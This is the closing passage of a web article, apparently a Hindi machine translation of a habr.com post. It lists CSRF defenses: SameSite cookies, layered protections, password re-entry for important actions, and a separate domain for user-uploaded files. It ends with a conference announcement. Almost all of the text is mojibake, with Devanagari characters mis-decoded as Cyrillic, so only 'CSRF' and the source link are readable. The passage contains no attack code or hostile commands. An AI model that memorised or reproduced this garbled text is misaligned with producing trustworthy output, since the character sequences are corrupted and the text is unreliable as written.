  • рдореЙрдбрд▓ рдзрдордХреА рдФрд░ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ (рд╕рд╛рд░рд╛рдВрд╢ рддрд╛рд▓рд┐рдХрд╛ рджреЗрдЦреЗрдВ)ред
  • рд╕рдорд╛рди рдХреБрдХреАрдЬрд╝ рдХреЛ рд▓рд╛рдЧреВ рдХрд░реЗрдВред рдЕрдм рдХреЗрд╡рд▓ рджреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рднрд╡рд┐рд╖реНрдп рдореЗрдВ, рд╢рд╛рдпрдж, рдЕрдзрд┐рдХ рд╣реЛрдЧрд╛ред
  • рд╡рд┐рднрд┐рдиреНрди рд╕реАрдПрд╕рдЖрд░рдПрдл рд╕реБрд░рдХреНрд╖рд╛ - рдЧрд╣рд░рд╛рдИ рдореЗрдВ рд░рдХреНрд╖рд╛ред
  • рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдкреВрдЫреЗрдВред
  • рдПрдХ рдЕрд▓рдЧ рдбреЛрдореЗрди рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЗрдВ рджреЗрдВред

рдЫрд╣ рдорд╣реАрдиреЗ рд╕реЗ рдХрдо рд╕рдордп рдореЗрдВ, рдФрд░ рдПрдХ рдорд╣реАрдиреЗ рдореЗрдВ рдЕрдЧрд▓рд╛ рд╣рд╛рдИрд▓реЛрдб - рд╣рд╛рдИрд▓реЛрдб ++ рд╕рд╛рдЗрдмреЗрд░рд┐рдпрд╛ ред

рд╣рдо рдХреБрдЫ рдЪреБрдирд┐рдВрджрд╛ рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдкрд░ рдЖрдкрдХрд╛ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ:


Source: https://habr.com/ru/post/hi412855/


All Articles